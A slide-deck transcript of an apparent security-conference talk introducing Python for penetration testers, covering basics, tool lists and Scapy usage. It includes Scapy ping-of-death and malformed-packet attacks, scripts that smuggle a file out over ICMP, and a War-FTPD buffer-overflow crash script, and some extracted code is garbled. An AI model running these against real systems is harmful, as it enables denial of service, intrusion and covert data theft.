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1 >>>import antigravity


3 Flying made simple without the Nyquil hangover
Overview of Python Flying made simple without the Nyquil hangover Keith Dixon @Tazdrumm3r

4 Agenda About me About Python Python basics Python’s uses
Coding for Penetration Testers book Tips, tricks, observations Resources

5 About me Who am I? Husband/father/geek/gets distracted by shiny objects easy Career path switched to IT in 1999, professionally in IT since 2001 Learning, studying, and currently interviewing for infosec professional roles Vbscript – 2007 Python – 2011

6 About Python Conceived in the late 1980’s by Guido van Rossum at CWI.
Python 2.0 was release on October 16th, 2000 Python 3.0 was released on December 2008

7 What is Python good for? Python comes with a large standard library that covers areas such as; string processing Internet protocols software engineering operating system interfaces Artificial intelligence (because of similarities to Lisp)

8 What is Python good for? Extensive use in the information security industry Exploit development Network Debugging Reverse engineering fuzzing, Web Forensics Malware analysis PDF

9 What is Python good for? Easy to write short scripts for system admin work. Python code is easy to understand. Once the basic syntax  is learned, even the most complicated scripts can make sense.

10 What is Python good for? Python is cross platform!!
It will work on Linux, Windows, Mac and most every other OS. Many, many resources and a big, friendly community

11 Python tools Social-Engineer Toolkit - specifically designed to perform advanced attacks against the human element. Artillery - a honeypot/monitoring/prevention tool used to protect Linux-based systems. Fast-Track - aimed at helping Penetration Testers in an effort to identify, exploit, and further penetrate a network. Scapy - send, sniff and dissect and forge network packets. Usable interactively or as a library Pytbull - flexible IDS/IPS testing framework (shipped with more than 300 tests) Scrapy - a fast high-level screen scraping and web crawling framework, used to crawl websites and extract structured data from their pages W3af - a Web Application Attack and Audit Framework.

12 Inspiration for the idea? (Part 1)

13 Inspiration for the idea? (Part 2)


15 Python 101 Indentation does matter This will work But this won’t…
startNumber = int(raw_input("Enter the start number here ")) endNumber = int(raw_input("Enter the end number here ")) def fib(n): if n < 2: return n return fib(n-2) + fib(n-1) print map(fib, range(startNumber, endNumber)) But this won’t… startNumber = int(raw_input("Enter the start number here ")) endNumber = int(raw_input("Enter the end number here ")) def fib(n): if n < 2: return n return fib(n-2) + fib(n-1) print map(fib, range(startNumber, endNumber))

16 Python 101 All scripts are considered modules
All functions inside module can be used or only certain methods can be used inside script Entire module Partial method >>> import sys >>> from sys import argv Help is built in Help on modules Help on methods >>> Import sys, hashlib >>> help(sys) >>> help(hashlib) ~$ pydoc sys ~$ pydoc hashlib >>> help(sys.argv) >>> help(hashlib.sha512) ~$ pydoc sys.argv ~$ pydoc hashlib.sha512

17 Python 101 It can be ran interactively Scripts Via command prompt
Via shell ~ $ python Python 2.72 Type “help”, “copyright”.. >>> IDLE DreamPie Ipython Windows Linux File extensions *.py – Python script *pyc – Compiled Python file (generated by running script) Running scripts .py file extension associated with python.exe Should have #!/usr/bin/python at the top of the script in case you want to run it on Linux If the path to the interpreter is in your system path, you can doubleclick script to run, otherwise… C:\Users\Keith>python File extensions (optional) Must have #!/usr/bin/python (path to python) at the top of the script If you’re running it from the terminal, the script must be chmod’ed to make it executable or you can call python and the script name… ~ $ python Scripts

18 Python 102 Data types Conditional statements Numbers String
List (mutable) Tuple (non mutable) A = 10 B = 0100 or B = 0x41 or B = 0b C = 3.56 D = 3.16j Integers Long integers (octal, hex, binary) Float complex A = ‘This is a string’ print A print A[0] print A[3:6] print A[4:] print A * 2 print A + “ and this is how it prints” 'This is a string' ‘T’ ‘s i’ ‘ is a string’ list = [‘abc’, 45, ‘The Avengers’, 0x67, ‘def’, 15.5] print list print list [0] print list [1:3] print list[2:] list.append[“Detroit”] list = [‘abc’, 45, ‘The Avengers’, 0x67, ‘def’, 15.5,’Detroit’] list = (‘abc’, 45, ‘The Avengers’, 0x67, ‘def’, 15.5) list.append(“Detroit”) AttributeError: 'tuple' object has no attribute 'append’ Conditional statements If statement Else statement Elif statement if x = true: print true if x = 1: print “1” else: print “not 1” if expression1: statement(s) elif expression2:

19 Python 102 Looping Functions While loop For loop Loop control
count = 0 while (count < 9): print 'The count is:', count count = count + 1 print "Good bye!" code1 = (sys.argv[1]) code_split = code1.split(':') for i in code_split: code1a = int(i) codefinal = chr(code1a) sys.stdout.write(codefinal) if count = 7: break Functions Creating a function In use def base64_decode(base64_key): answer=base64_key.decode('base64','strict') print answer >>>csaw.base64_decode(‘V2VsY29tZSB0byBCc2lkZXMgRGV0cm9pdCAyMDEyLiBNYWtlIHN1cmUgdG8gdGhhbmsgUnlhbiwgU3RldmVuLCBXb2xmZ2FuZywgYW5kIEt5bGUgZm9yIGFsbCB0aGUgaGFyZCB3b3JrIHRoZXkgZGlkIHRvIG1ha2UgdGhpcyB5ZWFyIHN1Y2ggYSBzdWNjZXNzIQ==‘) >>> Welcome to Bsides Detroit Make sure to thank Ryan, Steven, Wolfgang, and Kyle for all the hard work they did to make this year such a success!

20 Python 102 Files Input/output Open a file for reading Write to a file
#!/usr/bin/python f = open ('base64.txt', 'r') file = answer=file.decode('base64','strict') print answer f.close ( ) import sys if len(sys.argv)<2: sys.exit("Usage " + sys.argv[0] + " <Base64 code you wish to decode>\n") basecode = sys.argv[1] answer=basecode.decode('base64','strict') fo = open("base64.txt", "w") fo.write(answer) fo.close() Files raw_input input #!/usr/bin/python str = raw_input("Enter your input: "); print "Received input is : ", str Input is  Thanks for coming to Bsides Output is  Received input is : Thanks for coming to Bsides str = input("Enter your input: "); Input is  5 * 5 Output is  25 Input/output

21 Python’s uses – General scripting
Cryptography Password creation Use files (write to/read from)

22 Cryptography Encode Base64 code Encode ROT13 code #!/usr/bin/python
code = raw_input("Enter the data you wish to be encoded to Base64") answer=code.encode('base64','strict') print answer Encode ROT13 code #!/usr/bin/python code = raw_input("Enter the data you wish to be encoded to Base64") answer=code.encode('base64','strict') print answer

23 Decrypt module #!/usr/bin/python import sys def hexdecode(hex_key):
import binascii hex_split = hex_key.split(':') for decode in hex_split: hex_decode = binascii.a2b_hex(decode) sys.stdout.write(hex_decode) def uni_decode(unicode_key): unicode_split=unicode_key.split(':') for i in unicode_split: code1a = int(i) codefinal = chr(code1a) sys.stdout.write(codefinal) def base64_decode(base64_key): answer=base64_key.decode('base64','strict') print answer def binary_decode(binary_key): import math f = lambda v, l: [v[i*l:(i+1)*l] for i in range(int(math.ceil(len(v)/float(l))))] basecode = f (binary_key,8) for code in basecode: x = (code) decodea = int(code,2) decodeb = chr(decodea) sys.stdout.write(decodeb) def rot13_decode(rot13_key): answer=rot13_key.decode('rot13','strict')

24 Decrypt module

25 Decrypt module

26 Password creation ##Author: ATC ##Please score this on activestate
import string, random print "How many characters would you like the password to have?" print "Must be nine or more" length = input () password_len = length password = [] for group in (string.ascii_letters, string.punctuation, string.digits): password += random.sample(group, 3) password += random.sample( string.ascii_letters + string.punctuation + string.digits, password_len - len(password)) random.shuffle(password) password = ''.join(password) print password

27 Use files (write to/read from)
Read from a file #!/usr/bin/python f = open ('base64.txt', 'r') file = answer=file.decode('base64','strict') f.close ( ) Write to a file #!/usr/bin/python code = raw_input("Enter the data you wish to be encoded to Base64") answer=code.encode('base64','strict') f=open('base64.txt','w') line=f.write(answer) f.close ( )

28 Python’s uses – Networking
Scapy: send, sniff and dissect and forge network packets. Usable interactively or as a library Pytbull: flexible IDS/IPS testing framework (shipped with more than 300 tests) Mallory, man-in-the-middle proxy for testing mitmproxy: SSL-capable, intercepting HTTP proxy. Console interface allows traffic flows to be inspected and edited on the fly Impacket: craft and decode network packets. Includes support for higher-level protocols such as NMB and SMB Knock Subdomain Scan, enumerate subdomains on a target domain through a wordlist pypcap, Pcapy and pylibpcap: several different Python bindings for libpcap libdnet: low-level networking routines, including interface lookup and Ethernet frame transmission dpkt: fast, simple packet creation/parsing, with definitions for the basic TCP/IP protocols pynids: libnids wrapper offering sniffing, IP defragmentation, TCP stream reassembly and port scan detection Dirtbags py-pcap: read pcap files without libpcap flowgrep: grep through packet payloads using regular expressions httplib2: comprehensive HTTP client library that supports many features left out of other HTTP libraries

29 Scapy Packet creation Read PCAP files
Create graphical dumps Must have appropriate supporting tools installed Fuzzing Send and receive packets TCP traceroute (can do graphical dump as well) Sniffing Send and receive files through alternate data channels (ICMP) Ping ARP ping ICMP ping TCP ping UDP ping Wireless frame injection OS Fingerprinting Classic attacks Malformed packets Ping of death Nestea attack ARP cache poisoning Scans SYN scan ACK scan XMAS scan IP scan TCP port scan IKE scan Advanced traceroute TCP SYN traceroute UDP traceroute DNS traceroute VLAN hopping Wireless sniffing Firewalking

30 Scapy Packet creation Stacking layers

31 Scapy Read PCAP files A=rdpcap(“<directory where PCAP file is>/<pcap file>”) Create graphical dumps A[<packet number>].psdump(“<location to store .eps file>, layer_shift=1)

32 Scapy ConfickerB9hrs.pcap

33 Scapy Send packets send(IP(dst=“")/ICMP())
sendp(Ether()/IP(dst=" ",ttl=(1,4)), iface="eth0") sendp(rdpcap("/tmp/pcapfile"))

34 Scapy

35 Scapy sendp("I’m travelling on Ethernet", iface="eth0", loop=1, inter=0.2)

36 Scapy Send and receive packets
p=sr1(IP(dst="")/ICMP()/"XXXXXXXXXXX") p=sr1(IP(dst="")/ICMP()/" ABCDEFGHIJ ")

37 Scapy Send and receive packets

38 Scapy Send and receive packets
sr(IP(dst=" ")/TCP(dport=[21,22,23])) sr(IP(dst=" ")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1)

39 Scapy Fuzzing send(IP(dst=“ ")/fuzz(ICMP()/NTP(version=4)),loop=1) send(IP(dst=" ")/fuzz(TCP()/NTP(version=4)),loop=1)

40 Scapy TCP traceroute res,unans = traceroute(["",""," ],dport=[80,443],maxttl=20,retry=-2) "

41 Scapy

42 Scapy Sniffing sniff(filter="icmp and host", count=2)
a.nsummary() a[1] sniff(iface="eth0", prn=lambda x:

43 Scapy

44 Scapy SYN scan sr1(IP(dst="")/TCP(dport=80,flags="S"))
sr(IP(dst=" ")/TCP(sport=666,dport=(440,443),flags="S")) sr(IP(dst=" ")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S")) ans.summary() ans.summary( lambda(s,r): r.sprintf(" \t %TCP.flags%") )

45 Scapy Classic attacks Malformed packets
send(IP(dst=" ", ihl=2, version=3)/ICMP()) Ping of death send( fragment(IP(dst=" ")/ICMP()/("X" * 60000)) )

46 Scapy send(IP(dst="", ihl=2, version=3)/ICMP())
send( fragment(IP(dst=" ")/ICMP()/("X" * 60000)) )

47 Scapy

48 Scapy To send packets via ICMP #!/usr/bin/python import sys
from scapy.all import * conf.verb = 0 f = open(sys.argv[1]) data = f.close() host = sys.argv[2] print "Data size is %d " %len(data) i = 0 while i<len(data): pack = IP(dst=host)/ICMP(type="echo-reply")/data[i:i+32] send(pack) i = i+32 print "Data sent"

49 Scapy To receive packets via ICMP #!/usr/bin/python import sys
from scapy.all import * conf.verb=0 f=open(sys.argv[1],"w") host=sys.argv[2] count = int(sys.argv[3]) filter="icmp and host " + host print "sniffing with filter (%s) for %d bytes" % (filter,int(count)) packets = sniff(count,filter=filter) for p in packets: f.write(p['Raw'].load) f.close() print "Data received"

50 Python’s uses – Debugging and Reverse Engineering
Immunity Debugger: scriptable GUI and command line debugger PyCommand for Immunity Debugger that replaces and improves on pvefindaddr Paimei: reverse engineering framework, includes PyDBG, PIDA, pGRAPH IDAPython: IDA Pro plugin that integrates the Python programming language, allowing scripts to run in IDA Pro pefile: read and work with Portable Executable (aka PE) files pydasm: Python interface to the libdasm x86 disassembling library PyDbgEng: Python wrapper for the Microsoft Windows Debugging Engine uhooker: intercept calls to API calls inside DLLs, and also arbitrary addresses within the executable file in memory diStorm64: disassembler library for AMD64, licensed under the BSD license python-ptrace: debugger using ptrace (Linux, BSD and Darwin system call to trace processes) written in Python vdb / vtrace: vtrace is a cross-platform process debugging API implemented in python, and vdb is a debugger which uses it (mirror) Androguard: reverse engineering and analysis of Android applications

51 Incomplete* Coding for Pentesters - Exploitation scripting
* I had a valid excuse. He even wrote me a permission slip, True story! 

52 Coding for Pentesters – Exploitation scripting
Building Exploits with Python Windows XP SP0 War-FTPD v 1.65 Immunity Debugger

53 Coding for Pentesters – Exploitation scripting
Step 1 – Open WarftpD with Immunity

54 Coding for Pentesters – Exploitation scripting
Step 2 – Run WarFTPD by pressing F9 and then set it to GoOnline.

55 Coding for Pentesters – Exploitation scripting
Step 3 – Build this script and run it…. and enjoy the show #!/usr/bin/python import sys import socket hostname = sys.argv[1] username = "A"*1024 passwd = "anything" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, 21)) except: print ("[-] Connection error!") sys.exit(1) r = sock.recv(1024) print "[+] " + r sock.send("user %s\r\n" %username) sock.send("pass %s\r\n" %passwd) sock.close()

56 Coding for Pentesters – Exploitation scripting

57 Coding for Pentesters – Exploitation scripting

58 Coding for Pentesters – Exploitation scripting
Step 4 - WarFTPD crashes!

59 Python’s uses – Malware analysis Multi-platform TOR-enabled URL Convert ClamAV antivirus signatures to YARA rules Convert PEiD packer signatures to YARA rules Script to implement your own antivirus multi-scanner Detect malicious PE file attributes Detect self-mutating code on live Windows systems using ssdeep Command-line interface to VirusTotal, ThreatExpert, Jotti, and NoVirusThanks Malware artifacts database manager Application to scan live Windows systems for artifacts (files, Registry keys, mutexes) left by malware Create static PNG images of IP addresses plotted on a map using GeoIP Create dynamic/interactive geographical maps of IP addresses using Google charts Script to produce disassemblies (via DiStorm) of shellcode and optionally apply an XOR mask Python class for automating malware execution in VirtualBox and VMware guests Sample automation script for VirtualBox based on

60 Python’s uses – Malware analysis Sample automation script for VMware based on Python class for building sandboxes with support for analyzing network traffic, packet captures, and memory Immunity Debugger PyCommand for finding shellcode in arbitrary binary files Immunity Debugger PyCommand for finding Inline-style user mode API hooks WinAppDbg plug-in for monitoring API calls, alerting on suspicious flags/parameters and producing an HTML report Python library for encoding/decoding XOR, including brute force methods and automated YARA signature generation Immunity Debugger PyCommand for assistance when rebuilding import tables with Import REconstructor Immunity Debugger PyCommand for cracking Kraken’s Domain Generation Algorithm (DGA) Immunity Debugger PyCommand for decrypting Silent Banker strings Python script for installing a service DLL and supplying optional arguments to the service Python script for converting a DLL into a standalone executable Python script to convert WinDbg output into data that can be imported into IDA

61 Python’s uses – Malware analysis
Practical Malware Analysis FakeNet -

62 Python’s uses – Malware analysis
Cuckoo Sandbox - a malware analysis system used to analyze Windows executables, DLL files, PDF documents, Office documents, PHP scripts, Python scripts, Internet URLs and almost anything else you can imagine. yara-python: identify and classify malware samples pyew: command line hexadecimal editor and disassembler, mainly to analyze malware Exefilter: filter file formats in s, web pages or files. Detects many common file formats and can remove active content pyClamAV: add virus detection capabilities to your Python software jsunpack-n, generic JavaScript unpacker: emulates browser functionality to detect exploits that target browser and browser plug-in vulnerabilities phoneyc: pure Python honeyclient implementation

63 Python’s uses – Fuzzing
Sickfuzz: a fuzzer made out of several custom .spk files and a python script to wrap them up, including some tshark support and other features. Sulley: fuzzer development and fuzz testing framework consisting of multiple extensible components Peach Fuzzing Platform: extensible fuzzing framework for generation and mutation based fuzzing antiparser: fuzz testing and fault injection API TAOF, including ProxyFuzz, a man-in-the-middle non-deterministic network fuzzer Powerfuzzer: highly automated and fully customizable web fuzzer (HTTP protocol based application fuzzer) FileP: file fuzzer. Generates mutated files from a list of source files and feeds them to an external program in batches Mistress: probe file formats on the fly and protocols with malformed data, based on pre-defined patterns Fuzzbox: multi-codec media fuzzer Forensic Fuzzing Tools: generate fuzzed files, fuzzed file systems, and file systems containing fuzzed files in order to test the robustness of forensics tools and examination systems Windows IPC Fuzzing Tools: tools used to fuzz applications that use Windows Interprocess Communication mechanisms WSBang: perform automated security testing of SOAP based web services Construct: library for parsing and building of data structures (binary or textual). Define your data structures in a declarative manner (feliam): simple fuzzer by Felipe Andres Manzano Fusil: Python library used to write fuzzing programs

64 Python’s uses – Fuzzing

65 Python’s uses – Web Scrapy: a fast high-level screen scraping and web crawling framework, used to crawl websites and extract structured data from their pages. It can be used for a wide range of purposes, from data mining to monitoring and automated testing. ProxMon: processes proxy logs and reports discovered issues Twill: browse the Web from a command-line interface. Supports automated Web testing Windmill: web testing tool designed to let you painlessly automate and debug your web application FunkLoad: functional and load web tester spynner: Programmatic web browsing module for Python with Javascript/AJAX support python-spidermonkey: bridge to the Mozilla SpiderMonkey JavaScript engine; allows for the evaluation and calling of Javascript scripts and functions

66 Python’s uses – Web

67 Python’s uses – Forensics
Volatility: extract digital artifacts from volatile memory (RAM) samples SandMan: read the hibernation file, regardless of Windows version LibForensics: library for developing digital forensics applications TrIDLib, identify file types from their binary signatures. Now includes Python binding aft: Android forensic toolkit

68 Python’s uses – Forensics

69 Python’s uses – Miscellaneous
InlineEgg: toolbox of classes for writing small assembly programs in Python Exomind: framework for building decorated graphs and developing open-source intelligence modules and ideas, centered on social network services, search engines and instant messaging RevHosts: enumerate virtual hosts for a given IP address simplejson: JSON encoder/decoder, e.g. to use Google's AJAX API PyMangle: command line tool and a python library used to create word lists for use with other penetration testing tools (abandoned?) Hachoir: view and edit a binary stream field by field Other useful libraries and tools IPython: enhanced interactive Python shell with many features for object introspection, system shell access, and its own special command system Beautiful Soup: HTML parser optimized for screen-scraping Mayavi: 3D scientific data visualization and plotting Twisted: event-driven networking engine Suds: lightweight SOAP client for consuming Web Services M2Crypto: most complete OpenSSL wrapper NetworkX: graph library (edges, nodes) pyparsing: general parsing module lxml: most feature-rich and easy-to-use library for working with XML and HTML in the Python language Whoosh: fast, featureful full-text indexing and searching library implemented in pure Python Pexpect: control and automate other programs, similar to Don Libes `Expect` system Sikuli, visual technology to search and automate GUIs using screenshots. Scriptable in Jython PyQt and PySide: Python bindings for the Qt application framework and GUI library

70 Coding for Penetration Testers book
Script Function Learned Monitor web server – verify it remains up Script arguments Connect to web server and run a GET request Monitor web server – verify it remains up (default to port 80) Alternate script arguments method Calculate subnet mask, broadcast address, network range, and gateway from IP/CIDR Parse out values programmatically Math functions with variables Displaying results Using FOR loops Determines if users are using the original default assigned password Use the crypt module Retrieve the paths from the robot.txt Parse the robots.txt file with the built robotparser module Nesting FOR loops Checks to see what permissions logged in account has (normal user, root or system account) Using IF and ELIF conditional statements Use OS module to make system calls Checks to see if you have permission to read /etc/shadow Tests permissions on files to see if current credentials can read file Connect to website, pull contents (hard coded) Network socket creation Spaces will bite you in the ass where you least expect it.

71 Coding for Penetration Testers book
Script Function Learned Connect to website, pull contents (site specified by argument) Network socket creation Spaces will bite you in the ass where you least expect it. Once a connection is made, send back a string Allow incoming connections. To receive a file from another system via ICMP (in conjunction with Python script using Scapy To send a file to another system via ICMP (in conjunction with

72 Little gems I found Description Function Site Python-nmap
It’s a Python library which helps in using nmap. Python API to the VirtualBox VM Allowing you to control every aspect of virtual machine configuration and execution Py2Exe py2exe is a Python Distutils extension which converts Python scripts into executable Windows programs, able to run without requiring a Python installation. Chrome extensions/applications Various extensions/applications found in the Chrome Webstore <-- Python shell (browser button) - Python shell (Chrome application) <-- Online Python development environment

73 Little gems I found Extra extra credit Description Function Site
Tweepy It’s the best working Python library to interface with Twitter (so far)

74 Tweepy Direct message Check friends timelines Create favorites

75 Tips, tricks, etc. IDE ( Windows PyScripter Aptana Studio IDLE Ninja Wing IDE Linux Geany Python Toolkit SPE ERIC (supposed to have auto-complete of code…) Editors ( Windows Notepad++ Linux Gedit SCiTE

76 Tips, tricks, etc. Shells Other DreamPie
Automatic of completion of attributes and file names History box Code box IDLE Included with Python install Ipython PyShell Guake Other PythonAnywhere

77 Tips, tricks, etc. Linux vs. Windows Linux
Linux scripts can be ran via terminal calling python <script name> by putting #!/usr/bin/python at the top (path to interpreter) and typing ./<script name> Common problem on PyScripter (awesome Windows Python IDE)… extra code comments are put at the top, then the #! /usr/bin/python Windows Windows scripts don’t need the #! but need to have .py associated with Python interepreter. Scripts can be double clicked or ran from command prompt python <script name> If the script is double clicked, without having raw_input("Press ENTER to exit") you may not see the output of the script.

78 Tips, tricks, etc. Portable Python (Windows only)
Portable Python is a  Python® programming language preconfigured to run directly from any USB storage device, enabling you to have, at any time, a portable programming environment. Just download it, extract to your portable storage device or hard drive and in 10 minutes you are ready to create your next Python® application. Portable Python package contains following applications/libraries: PyScripter v2.4.1 NymPy 1.6.0 SciPy 0.90 Matplotlib 1.0.1  PyWin32 216 Django 1.3 PIL 1.1.7 Py2Exe 0.6.9 wxPython Portable Python package contains following applications/libraries (alphabetical order): NetworkX v1.4 PySerial 2.5 PyWin32 v.216 RPyC-3.0.7

79 Additional resources

80 Additional resources Beginners guides from Python
Extra tools Online exercises General learning materials

81 Additional resources Free online videos
Online books Online interactive tutorial/interpreter Forums Module/package repositories The Python Package Index is a repository of software for the Python programming language. There are currently 17409 packages here. The ActiveState Code Recipes contains 3850 snippets to learn from and use. Python tools for penetration testers

82 Additional resources Training SecurityTube Python Scripting Expert
Module 1: Python Scripting – Language Essentials Module 2: System Programming and Security Module 3: Network Security Programming – Sniffers and Packet Injectors Module 4: Attacking Web Applications Module 5: Exploitation Techniques Module 6: Malware Analysis and Reverse Engineering Module 7: Attack Task Automation Module 8: Further Study and Roadmap Module 9: Exam Pattern and Mock Exam PYTHON TRAINING FOR SECURITY PROFESSIONALS Log Parsing with Python Pcap Parsing with Python Network Attack with Python Web Application Attack with Python Malware Analysis with Python Exploit Development with Python

83 All the scripts Category Script Extra extra credit
CSAW Crypto Redux – Challenge 1 to 5 Extra credit Coding for Penetration Testers – part 1 Coding for Penetration Testers – part 2 Coding for Penetration Testers – part 3 Extra extra credit

84 Etc. Antigravity When you open up ModulesDocs and click on antigravity module or from IDLE run import antigravity, a web browser opens to the XKCD cartoon at the beginning of this slide deck. Zen of Python To start the path of finding Zen of Python, remember these two key words… IMPORT THIS . From an IDE (IDLE) or a Python shell, run import this and the Zen of Python will be revealed.

85 Etc.

86 Final thoughts

87 Questions? Keith Dixon @Tazdrumm3r #misec – Tazdrumm3r

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